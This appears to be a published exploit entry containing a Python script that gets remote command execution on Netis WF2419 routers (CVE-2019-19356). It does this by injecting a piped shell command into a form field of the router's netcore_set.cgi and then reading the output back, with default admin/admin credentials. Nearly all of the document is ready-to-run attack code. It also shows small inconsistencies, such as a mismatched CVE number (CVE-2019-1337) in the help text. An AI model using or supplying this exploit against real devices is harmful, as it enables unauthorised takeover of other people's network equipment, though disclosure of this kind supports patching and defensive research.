Share
# Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution 
# Exploit Author: Elias Issa
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/75
# Date: 2020-02-11
# Version: WF2419 V2.2.36123 => V2.2.36123
# Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123
# CVE : CVE-2019-19356


# Proof of Concept: python netis_rce.py http://192.168.1.1 "ls"

#!/usr/bin/env python
import argparse
import requests
import json

def exploit(host,cmd):
	# Send Payload
	headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0',  
			'Content-Type': 'application/x-www-form-urlencoded'}
	post_data="mode_name=netcore_set&tools_type=2&tools_ip_url=|+"+cmd+"&tools_cmd=1&net_tools_set=1&wlan_idx_num=0"
	vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi"
	req_payload = requests.post(vulnerable_page, data=post_data, headers=headers_value)
	print('[+] Payload sent')
	try :
		json_data = json.loads(req_payload.text)
		if json_data[0] == "SUCCESS":
			print('[+] Exploit Sucess')
			# Get Command Result
			print('[+] Getting Command Output\n')
			result_page = host + "/cgi-bin-igd/netcore_get.cgi"
			post_data = "mode_name=netcore_get&no=no" 
			req_result = requests.post(result_page, data=post_data, headers=headers_value)
			json_data = json.loads(req_result.text)
			results = json_data["tools_results"]
			print results.replace(';', '\n')
		else:
			print('[-] Exploit Failed')
	except:
  		print("[!] You might need to login.") 

# To be implemented
def login(user, password):
	print('To be implemented')

def main():
    host = args.host
    cmd = args.cmd
    user = args.user
    password = args.password
    #login(user,password)
    exploit(host,cmd)

if __name__ == "__main__":
    ap = argparse.ArgumentParser(
            description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]")
    ap.add_argument("host", help="URL (Example: http://192.168.1.1).")
    ap.add_argument("cmd", help="Command to run.")
    ap.add_argument("-u", "--user", help="Admin username (Default: admin).",
            default="admin")
    ap.add_argument("-p", "--password", help="Admin password (Default: admin).",
            default="admin")
    args = ap.parse_args()
    main()